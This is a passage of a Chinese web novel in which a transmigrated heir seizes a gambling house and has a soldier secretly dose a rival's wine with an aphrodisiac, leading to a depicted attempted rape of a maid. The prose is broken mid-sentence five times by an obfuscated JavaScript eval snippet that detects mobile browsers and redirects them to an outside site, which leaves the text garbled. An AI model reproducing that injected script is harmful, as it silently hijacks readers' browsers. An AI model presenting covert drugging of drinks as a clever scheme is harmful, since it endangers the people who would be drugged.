林臻的嘴角勾勒出一抹意味深长的笑:“你一定会输。” “切~”张俪轻哼一声,翻起白眼,藏着几分不服。 这一刻的她魅力十足。 实话讲,张俪的美是绝不是普通小姑娘能比拟的,她的美是一种历经时光雕琢的妩媚,宛如古画中走出的佳人,每一笔都恰到好处。 一袭长裙轻轻摇曳,每一道褶皱都诉说着女性独有的温婉与风情,让人不由自主地沉醉于这份由内而外散发出的女人味之中。 林臻在看这本书的时候就幻想着张俪的美,今天终于是如愿以偿。 马车停在远大赌场门口。 这里已经被胖子的亲卫戒严了,数十名身穿黑色铠甲的将士在来回巡逻、站岗。 两人下了马车,林臻说道:“怎么样?我就说赌场已经是我的了吧?” 看着那些砸破的门,地上的血。 仅仅一个下午的时间,张俪便恍若隔世,回过身朝林臻下拜。 “远大赌场掌柜张俪,拜见主家。” “乖。”林臻把张俪扶起来,“赌场我就交给你了,我什么都不管,什么都不问,只有一点。” 张俪睁着美眸一副洗耳恭听的样子。 只见林臻伸出三根手指:“三个月之内,我要十万两现银。” 第21章 敢来我的地盘上抢东西?找死! “十万!? 纵然张俪也算见过大世面的赌场掌柜,可依旧被这个庞大的数字吓到了。 十万两白银什么概念? 放眼大乾,普通的三口之家一年能赚五两银子就算是小康。 整个大乾的一年税收也才六百万两。 而林臻竟说三个月赚十万! 他到底是太看得起自己了?还是太看得起张俪了? 张俪面露难色,心中千回百转,却仍找不到在赌场中于短短三月内累积起十万两白银的良策。她紧咬着贝齿,身姿微弯,声音中带着一丝无奈:“世子,三个月赚十万,这无异于痴人说梦,请恕属下办不到。 林臻闻言,嘴角勾起一抹意味深长的微笑,笑里藏着不为人知的秘密与自信。 他轻轻摆了摆手,向赌场深处迈去,留下一句话在风中回响:“不,你可以办到。 “世子.你. 负责看守大门的是胖子亲卫,韩忠。 此人乃是四大营之一,龙骧营的陪戎校尉,武艺极高,刚正不阿。 只可惜他生性耿直,不懂变通谄媚,在营中多次遭排挤、刁难,于是被副统领派来保护王胖子了。 因此他对林臻和王胖子有诸多不满。 话说回来也对,堂堂一名军中校尉不在战场立功,成天陪着几名纨绔打架斗殴,吃喝嫖赌,是个武将都会不乐意。 见到林臻走过来,韩忠眼睛不是眼睛,鼻子不是鼻子的。 “见过世子。 四个字说得也是轻描淡写,没有半分尊敬。 林臻却丝毫不以为意,笑着拍拍他的肩膀:“不愿意在这站岗,就回军营里去吧。 人各有志,林臻不喜强人所难。但同样的,愿意跟着他的人,都不会少了好处。 遥想当年刚下基层的时候,镇里的办公室主任给配了个司机,是个很机灵的小伙子,长得也帅,后来就没有后来了,不兴说。 反正就是一句话,真心真意跟着林臻的人,都不会吃亏。 赌场内部,还有顾家的小厮在抱怨着搬东西,来来回回很是扎眼。 “都怪那个王府那个纨绔,我们连工作都没了! “就是,以后去哪找这么肥的差事? “还什么王府世子呢,我呸!舔着脸来开赌场,不嫌丢人! 林臻看到这一幕当时就火了。 “都给老子站住! 他生气的不是他们在背后骂自己。 哪个官员不被 骂就只能说明这个官员无能。 他生气的原因是这帮人搬的都是他的东西! “来人!” 一声来人几名亲卫立刻带着大刀冲进来。 林臻对场中喊道:“把手里的东西都放下否则别怪我刀下无情!” 穿着粗麻衣服的小厮们吓得不敢乱动 林臻背着手像李云龙似的骂道:“他奶奶的反了?没有王法了?敢来我的地盘上抢东西?” “谁让你们来的?” 一个小厮吓得腿肚子都软了回答道:“是是顾相说要把我们顾家的东西都拿走.” “回去告诉他赌场里的所有东西都是我的!任何东西都不允许碰!滚!” “是是是!” “快走快走!” “快回去禀报顾相!” 小厮们吓得拔腿就跑毕竟上午的事情还历历在目。 林臻看着他们的背影又愤愤地骂了一句这才把地上的一个古董花瓶捡起来放在柜子上:“这么好的东西就这么乱搬一群败家子。” “咯咯咯咯看不出来世子还挺心疼物件的嘛。” “不能浪费浪费是极大的犯罪。” 一个败家子说不能浪费这样的话怎么听怎么别扭张俪干脆翻了个白眼:“世子您还是说说怎么三个月赚十万吧否则小女子就要跟您请辞了呢~” 林臻转身。 其实他早在大闹赌场的时候就已经有了计划。 本身这家赌场是顾家用来洗钱的现在林臻的钱干干净净根本不需要洗所以低调这个词就用不上了必须得扩大赌场的影响力。 赌场靠什么赚钱?不外乎两个。 出千;放贷。 但是这两样都有一个前提那就是人。 没有人来玩你拿什么赚钱?拿什么放贷? 所以说人气才是最关键的。 林臻有办法把这家赌场打造成后世的威尼斯人。 至于怎么坐庄出千和放贷那就是张俪的活儿了。 只见林臻来到张俪身前很暧昧地贴在他耳边说道:“我打算举行个赌王争霸赛。” 耳朵痒痒的好像有什么风信子飞入心灵那般。 张俪浑身抖个机灵怪嗔地看了林臻一眼身子往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789154|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后退了两步:“我当什么好主意呢。我们这又不是江湖门派搞什么争霸啊?” “这你就不懂了吧?”林臻老神在在游走于赌场内部欣赏着自己 的第一个产业:“这个争霸赛的胜利者将由朝廷敕封为赌王,并且昭告天下,受到所有赌徒的仰慕!” 张俪一听怎么地? 赌王? 这是什么王啊? 除非皇帝失心疯,否则怎么可能封出来这样一个王爷? 张俪震惊得嘴巴能吞下一个鸡蛋:“世子,您的要求陛下能同意?” “这个王不同于王侯,只是个称号而已,除了虚名以外,并没有任何实权与福利。很多商贾、百姓最需要的其实不是钱财,而是地位与面子!只要我们抛出这个重磅炸弹,赌徒们肯定会蜂拥而至。” “只要有人,以你的能力还愁赚不到钱吗?”林臻自信满满看着她:“你就只管按我说的做,陛下的圣旨很快就能下来。” 张俪已经震惊得无以复加。 没错,赌场只要有人,就一定能赚钱,可问题是这样的事情陛下能同意吗? 他老人家要是同意给赌徒封王,那岂不是小偷、强盗、嫖客也都能封王了? 那这个国家不就乱套了吗? 张俪正努力消化着林臻的话,看向他的目光也没有了之前的鄙夷,但也绝对没有欣赏的意思。 能想出这种馊主意的纨绔,没什么值得欣赏的。 张俪想了想,嘴角勾起一抹狡诈的笑意:“世子,属下想再与您打个赌。” 林臻挑眉:“哦?你说。” “如果陛下真的同意您的请求,属下就告诉您一个关于顾家的大秘密;如果陛下不同意,您从此以后与远大赌场再无任何关系没有,这间赌场将由我自己掌控。” 林臻笑得很冰冷,让人毛骨悚然。 “呵,怎么?想在我这空手套白狼,你还嫩点。” 他喜欢有野心的人,但不喜欢其野心超过对自己的忠诚的人。 张俪不可置否地看向别处。 林臻说道:“这是你最后一次动摇立场,如果再犯,你将彻底被我打入尘埃。” “你记着,在这个世界上,顺我者昌逆我者亡。” “这个赌,我跟。”林臻顿了顿又说道:“不过我得加上一条,如果你输了,我需要你帮我杀个人。” 第22章 世子,您该不会是... “杀人? 这个词对张俪来说实在是陌生。 他虽然是赌场的掌柜,但是从没有亲手杀过人,那些欠债不还的赌徒的也都是下面的人去处理,她从来没有经手过。 林臻突然提出这个条件他是想杀谁呢? 除了皇家的人,还有谁是连摄政王世子杀不掉的呢? “你想让我杀谁? “这个先不说,等你履行赌注的时候再说吧。 “好,我跟! 张俪还是不相信皇帝会答应这样昏聩的要求。 林臻笑着点点头:“好,赌场的事情就交给你了,这几天你不用回家,等忙完再说吧。 说完林臻就走了,态度十分潇洒。 张俪看着他背影,内心五味杂陈。 既有对林臻与传闻不符的惊讶,也有对他赌注的好奇。 他到底想让自己杀谁呢? 来的路上,林臻就看到顾府的大门张灯结彩,从里到外铺着红地毯,干活的小厮们各个穿着新衣服,满脸喜气洋洋,不知道要迎接什么大人物。 没听说刚刚被掏空家底的顾家有什么喜事啊? 事出反常必有妖。 搞不好就是针对自己的。 向来谨慎的林臻决定去一探究竟。 故意把韩忠叫着,另外再点齐两名亲卫,四个人晃晃悠悠像恶霸回村似的上街。 穿着华丽的林臻在黑甲亲卫的簇拥下显得很是突兀,百姓见到都像躲瘟神似的躲开,只有几个扎堆的乞丐不怕死围上来。 他们中有老有少,有男有女,统一地拄着打狗棒拿着破陶碗,在林臻面前喊着。 “贵人!给点吃的吧! “贵人,求求您行行好吧! “小的给您磕头了! “闪开!他奶奶的,知道你们面前这位爷是谁吗?找死啊? 叫二狗的亲卫抽出刀横在林臻面前,乞丐见状吓得立刻逃窜开来。 韩忠斜着眼睛看林臻,那表情仿佛在说:这个人渣,果然如此! 林臻不喜地说道:“瞧把你能耐的,有把破刀专门往百姓身上招呼? “世子,这群乞丐太没眼力见了,要饭要到您的头上,这不是找打嘛。 “不给钱走开就是了,没必要吆五喝六的,你的饭碗还是他们交税给的呢。 “啥?乞丐也交税啊? “废话,乞丐家里就不能有两亩地啊?把刀收起来,再随随便便掏刀看老子不敲你 。 “是是是。 林臻装纨绔是为了伪装,但不是真正的纨绔。 再说,欺负小老百姓的那叫地痞流氓,不是纨绔。 纨绔从来不欺负比自己阶级低的人。 不过这些乞丐看着也确实可怜,与后世不同,他们真是饿肚子的乞丐。 只要你给他们俩馒头,他们就会心地虔诚地为你祈祷。 如果天天都有馒头吃,你让他们为你干什么都可以。 不像后世的乞丐,脖子上挂个二维码,逢人就说自己是大学生,来上学结果钱被骗光,没钱吃饭了,实际上每天都能骗个两三百。 比喻的可能有点夸张,但也差不太多,反正后世的乞丐没有几个是真挨饿的。 那自己是不是可以组建一个丐帮呢? 嗯,很可以。 等产业稳定下来,有钱养活他们之后再说吧。 现在组建,完全是在给自己找罪受。 来到顾府。 林臻本意是找个小厮打听打听情况,谁知道还没等操作呢,就看到慕容嫣的五爪金龙大轿子落在顾家门口。 今天的慕容嫣很低调,没有带步辇,只有五十名御林军护卫着小轿子。 周围百姓都已经被驱逐开了,方圆二十米以内不能有人,就连林臻都是站在远处看到的。 很快,一身龙袍的慕容嫣从轿子上下来,顾云霆和顾北辰亲自下跪迎接。 “臣恭迎圣上。 “爱卿平身吧。 “谢陛下。 慕容嫣下来后,笑意盈盈的样子与中午时分的暴怒判若两人。 林臻心说,好家伙啊! 这女人变脸就是快。 “陛下,臣已在堂中备下饭菜,请陛下用膳。 “也好,诸君请吧。 看来慕容嫣是来顾家吃饭的。 嗯! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789155|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 林臻脑海中突然划过一道闪电! 好像原书中就有这个剧情! 在林臻大婚后的第二天,慕容嫣命令顾北辰把刘书瑶还给林臻,这确实有伤害到顾北辰的心,但是慕容嫣为了弥补这件事情,也为了表达自己对顾家的喜爱,特意下旨去顾家吃饭。 也是在这个节骨眼上,顾北辰表露心迹,想辅佐慕容嫣铲除林家。 但他也有要求,那就是林家灭亡后,必须保下刘书瑶,而且刘翰阳的家不受牵连。 慕容嫣欣然答应,于是两人联手,开始一步步针对林震仙。 看来这个世界并没有因为林臻的穿越而起到蝴蝶效应,事情回到了它应有的轨迹上。 “既然如此,这顿饭你们就休想吃消停。” 林臻眼睁睁看着慕容嫣跨进顾府的大门,身后跟着侍女嬛嬛。 一道毒计已然在胸,林臻又露出那副夜猫子的叫声:“桀桀桀桀。” 众所周知,一旦有这个笑声出现,那就是有人要倒霉了。 林臻回头问二狗:“喂,带春药了吗?” “啊?世子,您这是.” “少废话,带没带?” “带带了。” 二狗颤颤巍巍地从怀里掏出个小纸包,林臻没好气的一把抢过来:“就知道你们没一个好鸟。” 二狗面露难色:“世子,能不能给属下留点,那可是十个人的量啊!” “无色无味的吗?” “对,无色无味,保证吃不出来!” 这二狗怎么看都不像靠谱的样子,林臻心里有些打鼓。 以前的他看朋友吃过西地那非,吃完以后脸红脖子粗,下面和定海神针似的,但也不至于失去理智。 不知道这古代的春药到底是什么做的,究竟能不能起到自己想要的效果。 他问二狗:“你有办法把这玩意,神不知鬼不觉地放在别人酒里吗?” “世子,您该不会是.” 二狗指了指顾家墙院,林臻点点头。 “当然能啊!”二狗兴奋得像条狗似的直吐舌头:“只要您一声令下,小的保证让顾云霆宝刀不老,嗷嗷叫上一宿!” 第23章 我们是~糖~果~超~甜~” 二狗得意的直拍胸脯,也不知道这东西是准备给谁用的。 这帮人在军营里憋得太久,进了城就喜欢干点坏事寻刺激。 林臻没那个闲心管他们,着急的直跺脚:“谁让你给顾云霆下药了?我说的是他儿子顾北辰!” “啊?世子是要弄顾北辰?那更好办啊,小的直接跳进去!打晕上菜的丫鬟直接把药倒进去不就行了吗?” “你确定能神不知鬼不觉的?我警告你啊,这事儿如果办砸了我要你脑袋!” 一旦被女帝知道是林臻在算计他们,那可就偷鸡不成蚀把米了。 不仅不会得到女帝的眷顾,相反还会得到她的反感。 二狗浑身抖个机灵,立刻换了副嘴脸。 “嘿嘿嘿,世子,要说轻功这一块还得是猴子行!您把任务交给他,保证万无一失!” 言罢二狗就把身后一个瘦弱的小伙子推出来。 这人虽然绰号叫猴子,但长相却十分英俊,白白瘦瘦的有点像后世的奶油小生。 这张脸不禁让林臻想起了后世的一个节目。 很多“男孩子”在舞台上唱、跳、rap,然后用自以为最帅最阳光的笑容,对着镜头嘟嘴卖萌,大声喊:“我们是~~糖~果~超~甜~” 哕! 请恕罪。 林臻突然有点反胃。 “你就是猴子?” “回世子,属下侯春。” “嗯,刚才我和二狗说的话你都听到了,这事能不能办?” “能!”猴子语气十分坚定。 可算遇到一个长相与性格不符的爱豆了。 林臻正准备夸奖两句,没想到猴子紧接着又说:“但属下有个请求,求世子答应。” 不错。 只要什么时候伸手。 仅仅是这一点,就不知道比后世的奶油小生强多少倍。 林臻点点头:“你说。” “属下想跟世子借十两银子。” “啊?” 饶是林臻再有心理准备还是被他的要求吓了一跳。 跟堂堂摄政王世子借十两银子? 这是打脸啊,还是瞧不起谁啊? 林臻看了看猴子一本正经的样子倒不像开玩笑,于是就多嘴问了问:“没问题,可是你要十两银子做什么?” 如果说猴子回答是什么喝花酒,去青楼之类的,这次事情过后这个人他肯定不会再用。 因为根本没出息! “我母亲去世了,属 下想将他老人家安葬,但是没钱打棺材。”说着说着猴子低下了头。 一时间大家都沉默了。 气氛有些凝重。 二狗和韩忠都是攥紧双拳,不知道在想些什么。 这TM该死的世道。 堂堂为国征战的士兵,竟然沦落到跟别人借钱安葬母亲!! 这是国家的悲哀,更是国家的不幸。 这一瞬间林臻的内心仿佛被什么东西触动,有些疼痛。 他长长叹了口气,拍了拍猴子的肩膀:“你家里还有什么人吗?” “属下还有个妹妹,在一商贾家里当丫鬟。” “行,以后你就跟我混吧。我会掏钱把你母亲风光大葬,再把你妹妹买出来,让你们团聚。” “世子.”猴子猛然抬头,满脸的难以置信:“您这是” 猴子从没想过有一天竟还能救妹妹脱离苦海。 他只是个普通的士兵,不打仗的时候每个月只有三百文的军饷,猴子一分不花全给家里。 但是他出不去军营,就只能委托校官或者统领,而他们还要从中收取一部分费用。 费用虽然不高,一次才二十文钱。 可这点钱到母亲手里却依旧不够治病的,几乎是月月都要欠债。 当年就是因为没钱给父亲办葬礼,猴子在军营出不来,只能委屈妹妹。 幸好妹妹孝顺,主动把自己卖身为奴籍,才换来一点点钱财给父亲下葬。 现在母亲也走了,猴子还是面临没钱的现状,他本来都想靠替人报仇来赚取钱财,却没想到往日里自己最不喜欢,最看不起的纨绔竟然救了自己! 不仅愿意出钱给母亲下葬,还愿意救妹妹脱离苦海,这份恩情.就算把命卖给他又如何!? 猴子被感动得稀里哗啦,当场就给林臻跪了下去。 “世子!我侯春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789156|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这辈子愿意为世子当牛做马,永不背叛!” “好样的,有股子士气。你先把这件事情办了,明天我就安排人手给你母亲下葬。” “是!” 猴子把二狗手里的春药接过来,林臻嘱咐道:“猴子,记住了,一定要下在顾北辰的酒里,如果实在不行就退回来,千万不能暴露身份,明白吗?” “世子放心,属下一定办到!” 看猴子立投名状的样子,林臻心里真不是滋味。 时代的悲哀,远不是靠林臻一己之力就能解决的。 只能以后对这个刚强的汉子好些了。 猴子 脱掉军装交给二狗,只穿着黑色练功服。 到底是人长得帅穿什么都好看,所谓的衣品也不过是看脸而已。 大明星亦菲,即便穿个东北花棉袄上街也会有人觉得她衣品好。 闹市人多眼杂,不便多留,林臻带着马仔离开。 只见猴子怀里揣着春药,狂奔进巷子里,挑了个不错的墙头,轻轻一跃便翻了上去。 院子里,有丫鬟和小厮正在端着酒菜去往会客厅。猴子身轻如燕,悄悄落在地上,躲进一棵梨树后面。 “快点快点,老爷那边催呢。” “陛下已经入席了,燕窝好了没有?” “好了好了。” “端过去,小心点,万一撒了可小心你的脑袋!” 丫鬟们来来去去,根本没有人注意到厨房后面的梨树下竟藏着一个人。 猴子看准时机,突然出手捂住一名小厮的嘴巴,然后一记手刀敲在他后脑勺上。 小厮连坑都没吭一声,就白眼一翻昏死过去。 猴子赶紧扒下他的衣服套在自己身上,然后装成小厮的样子低头走进厨房。 一般情况下厨房里的掌勺都有大能人,脾气也大,动辄就骂骂咧咧的。 后世如此,今天也不例外。 顾家厨师长见猴子愣头愣脑地走进来,立刻虎着脸喊道:“不赶紧上菜瞅啥呢?快点!” 言罢把手里的烤鸡递给猴子。 猴子心说正中下怀啊!刚好没理由进宴会厅,这回可妥了。 1 第24章 我让你话密!我让你话密! 猴子端着烤鸡刚刚出门,就看到穿着翠绿色长裙的丫鬟走过来。 姑娘长得标致,亭亭玉立,头上戴着一个玉步摇吊坠,说话间脸上有两个可爱的酒窝。 猴子发誓,这绝对是他这辈子见过的最漂亮的女人。 “站住!姑娘见猴子面生,于是问道:“你是新来的? 猴子不是那种见到漂亮姑娘就不会说话的人,闻言赶紧回答:“是的姐姐,小的昨天才进府。 “抬起头来。 猴子慢慢抬头。 谁料姑娘也有一瞬间的失神。 天呐,这是一张怎样的帅气脸庞啊! 刀削的容颜,精致的面容,一双剑眉虎目,端着是玉树临风。 就是身板有些瘦弱,估计是家境不好导致的吧。 善良的姑娘问道:“你叫什么名字? “回姐姐,小的名叫侯二。 “嗯,我叫青竹,以后你就跟着我吧。 “是!多谢姐姐! 如果林臻在这肯定会知道,这个叫青竹的姑娘就是顾北辰的贴身丫鬟。 而且是非常贴身的那种。 只是现在的顾北辰还没有对青竹做过什么龌龊之事,只停留在暖床上。 只可惜猴子不知道啊,还以为是什么低级丫鬟呢。 青竹问道:“这鸡是怎么回事? “后厨让小的送会客厅去。 “行,跟我来吧。 青竹在前面带路,猴子跟在后面。 “你家是哪里的? “跟谁进来的啊? “你这身板卖了多少钱? “现在跟着谁呢? 一路上青竹碎碎念着,把猴子弄得有些心烦。 这么漂亮的姑娘,话怎么这么密呢。 有朝一日娶回家非好好教育不可。 就是那种我在上面,你在下面,然后:我让你话密!!我让你话密!!以后还密不密了!? 啊,人家不密了,不密了呢~ 咳咳。 猴子收回思绪,发现已经到了会客厅门口。 顾府虽然不比王府大,但胜在精致奢华,会客厅门前有两个巨大的青桐仙鹤傲然挺立。 青竹把猴子手里的托盘接过去:“你就在这候着吧,有什么事情我会来找你。 “是,姐姐。猴子一副乖巧听话的样子,看得青竹更是喜欢。 “真乖! 堂内,慕容嫣和顾云 霆、顾北辰,以及顾云霆的妻子顾韩氏,都围坐在圆桌边。 按照礼制,皇帝是不能和大臣同桌吃饭的,但慕容嫣为了尽显亲切,执意如此。 这也算是对顾家的恩典。 青竹把烤鸡放在大圆桌上:“陛下,老爷,菜已上齐。 “嗯。 顾云霆答应了一声,看了看慕容嫣的脸色。 他到现在也搞不明白,慕容嫣到底是什么意思。 当初说好的联手干掉林家,今天竟然反水。 只见慕容嫣率先举杯说道:“顾相不必紧张,这顿饭不过是家宴而已,朕今天过来也是慰问慰问我朝重臣。 “臣不敢,多谢陛下关爱。 “诸君,请满饮此杯。 “陛下请。 众人先是喝了一杯,气氛终于缓和下来,顾家的人也不紧张了。 慕容嫣装作笑得很豪迈的样子:“哈哈哈哈,赌场的事情,爱卿应该能明白朕的苦衷吧? 顾云霆苦笑一声。 那肯定明白啊。 不明白也得说明白啊。 “臣明白。 “嗯,明白就好,这林臻到底和以前不同了,变得牙尖嘴利,说话滴水不漏,下次北辰还是不要被他抓住小辫子的好。你身为翰林院院判,需要有一颗稳重的心,才能做好本职工作。 慕容嫣这是敲打顾北辰呢。 意思就是你现在是我的人,替我分忧,出谋划策才是正路,成天想别人家的媳妇干什么。 顾北辰哪里不明白,只是想起刘书瑶,就心如刀绞。 只见他咬牙说道:“陛下,臣知罪。 “年轻人嘛,男欢女爱是正常的,朕年轻的时候也经常寻欢,但是要注意礼节规矩,不可有僭越之嫌。 “是。 顾云霆偷偷撇嘴,明明是小小年纪,装什么装。 顾北辰独自喝了一盅,一饮而尽,颇有几分豪迈之色。 站在慕容嫣身后的嬛嬛看在这一幕,满眼睛都是小星星。 天啊,他喝酒的动作好Man啊! 他怎么就能这么帅呢! 慕容嫣同样很喜欢,却不露声色。 只有顾云霆不喜地道:“放肆!陛下还没举杯,你怎能独喝,还有没有点规矩? “无妨。 “陛下圣明,臣保证以后绝不会再见刘书瑶 ,只一心一意辅佐陛下,助陛下先除林家,再战中原!” “好!就为你这句话,我们君臣干一杯!” “诸君,饮胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789157|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这就是慕容嫣想要的结果。 大家都是一条船上的人,必须同仇敌忾才行。 得到顾北辰的许诺,慕容嫣心情大好,众人又谈了些关于江山社稷的事情,场面很是愉快。 可有个人不愉快,那就是猴子。 他已经在会客厅门外站了快半个时辰,一直没有机会下毒。 这会儿正急得像热锅上的蚂蚁。 可巧,就在他准备另辟蹊径的时候,青竹从里面走了出来。 “侯二,快去给少爷温酒。” 终于来机会了! 猴子没有被喜悦冲昏头脑,甚至还象征性地多问了一句:“陛下的酒不用温吗?” 青竹翻个白眼。 “陛下根本就没怎么喝,少爷自己一直在喝闷酒,你快去快回,晚了可不好。” “是是是。” 既然如此,那就没问题了。 猴子拿着玉制的酒瓶去厨房,路上顺手就把半包春药倒了进去,举起来一看,好家伙。 白色的粉末在下面糊了一层。 够劲! 奶奶的,今晚必须让顾北辰做神仙! 厨房早有温好的酒,直接舀出来倒进去就行,全程都由猴子一人操作,没有任何风险。 等再送回到青竹手里的时候,小丫头还笑嘻嘻地说了一句:“行呀侯二,速度挺快的嘛。” 说完便拎着酒壶进去。 顾北辰根本想到自己贴身丫鬟送进来的酒里能有春药,自顾自地倒满开始猛喝。 他本来就心情不好,两天之内丢了心上人还挨了顿打,家族破财又把洗钱的赌场转让。 一连串的事情让他十分懊恼,酒也就不自觉地越喝越多。 可喝着喝着,顾北辰就觉得有些不对劲。 自己小腹好像有一团火在慢慢燃烧。 越烧越旺! 越烧越大! 天呐,我这是怎么了? 顾北辰没敢出声,偷偷看着场中父亲与皇帝闲聊。 没什么异样啊 突然间顾北辰的双眼炙热起来,他发现今天陛下长得好生耐看,就连那淡淡胡茬都是如此性感。 他身边的侍女更是出落的水灵,一双大眼睛仿佛会笑那般,站在陛下身后亭亭玉立,不知道她那被胸巾包裹的神秘地带,又是怎样的风景呢? 不。 好热啊!!! 我要爆炸了。 我到底是怎么了? 我好像找个人发泄一下啊! 第25章 不要啊少爷,您怎么了... 顾北辰的脸红得像个猴屁股就连脖子根都是红的整个人十分怪异。 慕容嫣发现了他的异常放下筷子擦了擦嘴角问道:“北辰这是怎么了?” 不行皇帝陛下真是太好看了啊! 哪怕他是个男人我都想 顾北辰眼神闪躲最终不敢再看把头埋低:“回陛下臣不胜酒力” “呵呵呵。”慕容嫣笑道:“堂堂七尺男儿怎么说话都不敢看朕了呢。” 慕容嫣哪里知道顾北辰不敢看她的原因是想和她发生关系? 只以为是喝酒的原因勾起伤心事而已并没有多想。 顾云霆知道儿子酒量喝这些酒应该不会上头才对:“儿啊今天喝酒怎么还上头了呢?难道是见到陛下龙颜惊喜的无以复加?哈哈哈哈。” 顾云霆大笑完全不知道此刻的儿子都恨不得把自己草上一遍。 顾北辰已经饥不择食了只要是个人不哪怕是条狗他都想尝尝咸淡。 顾北辰还保留着最后一分理智苦笑着道:“父亲说的是陛下龙颜大悦儿臣心里高兴那个儿臣出去一下。” “嗯快去快回陛下还需要问你问题呢。” “是。” 顾北辰起身猫着腰。 他现在根本不敢把腰直起来以免被皇帝看到自己的糗态否则可就真的要命了。 青竹扶住他两人一起往外面走。 香体入怀柔软的小手与自己肌肤之亲 往外走的路上他没看别人一直在看自己身边的青竹。 只觉得这姑娘好生耐看身上还有淡淡的清香吸上一口沁人心脾。 天呐我要爆炸了啊! 我必须得发泄一下! 必须得找个人好好发泄一下! 否则我今天非憋得七窍流血不可! “青竹.”顾北辰轻轻呼唤她的名字反手抓住她的柔荑捏在掌心细细地把玩。 这也不是少爷第一次使坏青竹早就习以为常笑道:“咯咯咯少爷今天怎么喝这么多酒.哎呀少爷您弄疼奴婢了” 本以为只是简单的使坏谁知道顾北辰的力气越来越大捏得青竹疼痛不已。 “青竹.你好美呀~” “少爷疼.”青竹有些害怕了往日里的少爷可不是这个样子的。 顾北辰像着了魔似的不管不顾两人勉强来到茅房。 青竹不想进去 ,却被他硬拉着走。 到后来直接变成了拖拽! “不要,少爷,奴婢不能进去! 顾北辰嘶吼着:“过来!跟我过来! “不要啊呜呜呜,少爷,您怎么了. 青竹被顾北辰强行拽进茅房。 这一幕被猴子看在眼里,恨得后槽牙都快咬碎了。 奶奶的,到底是大户人家子弟,想干什么干什么,这么漂亮的姑娘就这么被拽了进去。 不行。 我得救她! 这姑娘是我的! 可是该怎么办呢猴子在茅房外面急得团团转。 这时茅房里面有顾北辰的怒吼和青竹的哭泣声传来。 “少爷,奴婢求求您了,等到晚上好不好,若是在这里,奴婢可就活不成了.呜呜呜. “少他妈废话!能被我看上是你的福气! “这个世界,还没有我顾北辰不能办的女人! 撕啦! 撕啦! “少爷.呜呜呜. “哦,你TM好香啊,来,让老子好好发泄一下! 其实青竹对顾北辰并不讨厌,相反她还是很喜欢顾北辰的,她也曾做梦成为顾北辰的小妾。 但是想归想,眼下皇帝还在府中,如果两人在这里被发现,那就是败坏家风。 会侮辱到顾家的名声。 而顾云霆为了门楣一定会杀掉青竹以正家风。 所以青竹才说自己要活不成了! 但是此刻的顾北辰眼珠子都红了,不发泄是不可能的! 茅房内,青竹已经被剥成一只小白兔,单薄的身子暴露在空气中瑟瑟发抖。 顾北辰没有半分欣赏的意思,目光直勾勾的宛若野兽。 “少爷,奴婢求求您了您放过奴婢吧 “嗷呜!!顾北辰发出一声怒吼。 就在此时,猴子在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789158|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面大喊:“快来人啊!少爷强暴青竹了! 四周的丫鬟小厮闻言立刻炸了锅。 “什么!? “少爷疯了吧?陛下还在府中呢。 “快去让那个人别喊了! “那个人是谁呀? 猴子嗓门极大,边跑边喊,身后的人根本追不上他。 直跑到会客厅外面还在喊:“老爷!老爷!少爷在茅房里强暴青竹呢!怎么办啊! “啊?顾云霆像听到什么惊天大新闻似的。 慕容嫣同样震惊得无以复加。 她是无论如何也想不到,自己如此器重的臣子竟然连这点克制力都没有。 